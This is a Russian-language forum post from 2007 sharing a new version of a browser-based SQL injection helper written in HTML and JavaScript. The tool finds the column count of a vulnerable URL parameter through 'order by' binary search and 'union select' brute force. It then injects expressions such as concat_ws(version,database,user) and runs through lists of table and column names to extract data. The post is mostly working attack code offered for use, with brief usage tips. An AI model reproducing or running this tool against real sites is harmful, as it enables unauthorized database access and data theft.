| halkfild |
01.09.2007 00:32 |
новая версия..
переписан почти весь код)
добавлено много нового
например перебор по таблицам, столбцам, подстановка версии и т.д.
хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии
Код HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="© 2007 halkfild">
<STYLE type="text/css">
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
scrollbar-3dlight-color:#2A2E33;
scrollbar-arrow-color:#336600;
scrollbar-base-color:#2A2E33;
scrollbar-darkshadow-color:#336600;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input, textarea
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div {display:none;}
</STYLE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild</title>
</head>
<script language="JavaScript">
var st=0,stl=0,met=1,scUrl;
var met=1;
var cl=0,tl=0; //tableslist, columnslist
var cc; //curent columns
function b_search(f) {
var k;
var tmpUrl=document.binSearch.url.value;
var LL=document.binSearch.llc.value*1; //left limit
var RL=document.binSearch.rlc.value*1; //right limit
var rgurl= document.binSearch.rurl.value;
var dlim = document.binSearch.delimiter.value;
tmpUrl += dlim+"order"+dlim+"by"+dlim;
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tmpUrl += k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.cUrl.value=tmpUrl;
changePage(tmpUrl);
}
function br_search(count) {
var lUrl = document.bruteSearch.url.value;
var rUrl = document.bruteSearch.rurl.value;
var dlim = document.bruteSearch.delimiter.value;
var count= document.bruteSearch.colum.value*1+1;
var tmpUrl,n=0;
var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i);
tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim;
while (n<count){
n++;
tmpUrl += n+""+n+""+n+""+n+""+n+",";
}
tmpUrl = tmpUrl.slice(0,-1) + rUrl
document.bruteSearch.cUrl.value = tmpUrl;
document.bruteSearch.colum.value = n;
changePage(tmpUrl);
}
function changePage(p) { document.getElementById( "ifrm" ).src = p;}
function dShow(type){
if (type==1) {
document.getElementById("brute").style.display='none';
document.getElementById("binary").style.display='inline';
met=1;
}
else if (type==2) {
document.getElementById("binary").style.display='none';
document.getElementById("brute").style.display='inline';
met=2;
}
else if (type==3) {
if (st==0) {
document.getElementById("substitution").style.display='none';
st=1;
}
else {
document.getElementById("substitution").style.display='inline';
st=0;
var dlim = document.binSearch.delimiter.value;
if (met==1) {
var str = document.binSearch.cUrl.value;
var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i);
var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i);
scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]);
document.subst.sUrl.value = scUrl;
}
else {
var str = document.bruteSearch.cUrl.value;
var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i);
scUrl = res[1]+res[2];
document.subst.sUrl.value = scUrl;
}
changePage(document.subst.sUrl.value);
}
}
else if (type==4) {
if (stl==0) {
document.getElementById("list").style.display='none';
stl=1;
}
else {
document.getElementById("list").style.display='inline';
stl=0;
}
}
}
function getSelect (left, right, count) {
var dlim = document.binSearch.delimiter.value;
var tmp=left+dlim+"union"+dlim+"select"+dlim;
for (var i=0; i<count; i++) {
tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ","; //много 11 для поиска
}
tmp = tmp.slice(0,-1) + right;
return tmp;
}
function getSubstr (id) {
var elem = document.getElementById(id).value;
var rs = elem.split(/\n/);
return rs;
}
function tuck (type) {
var dlim = document.binSearch.delimiter.value;
if (type==1) {
var el = getSubstr("columns");
if (cl<el.length) {
setUrl(el[cl]);
cl++;
}
else {
alert("Перебор по списку столбцов окончен");
cl=0;
}
}
else {
var el = getSubstr("tables");
if (tl<el.length) {
var str = scUrl
var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i);
document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2];
changePage(document.subst.sUrl.value);
tl++;
}
else {
alert("Перебор по списку таблиц окончен");
tl=0
}
}
}
function searchword(){
var r,i,s=document.selection.createRange().text;
if(!s)s=prompt('Найти:','');
if(s){
r=document.body.createTextRange();
for(i=0;r.findText(s);i++){
r.execCommand('BackColor','','lightyellow');
r.collapse(false)
}
alert('Найдено: '+i+' слово(а)')
}
}
function setUrl(param) {
var num = document.subst.colNum.value;
var str = scUrl;
var pnum= num+""+num+""+num+""+num+""+num;
var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");
var qqq = str.match(pattern);
var result = qqq[1]+param+qqq[2];
document.subst.sUrl.value = result;
changePage(result);
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
Разделитель <input name=delimiter style='width:45px;' value="+">
<input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'>
Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/>
адрессная строка(URL)<input name=cUrl readonly style='width:600px;'>
</form>
</div>
<form name=subst>
<p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p>
<div id="substitution">
<input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'>
<p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p>
<div id="list">
Столбец <input name="colNum" value="1" style='width:40px;'>
Системная информация <input value="на стадии разработки" style='width:200px;'>
<input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'>
<textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea>
<textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea>
<input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'>
<input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'>
</div>
</div>
</form>
<iframe id="ifrm" src="null"></body>
</html>
нормально не тестил просто уезжаю..
в сведущей версии будет, наверное )) :D :
- отлов старых багов))
может автоопределение выводимого столбца, если с ифреймами все решится.. :mad:
- вывод имен таблиц и столбцов если версия больше 5
ну и еще что-то придумаем :D
з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса
http://127.0.0.1/lab/injector.php?id=2 + правая часть
|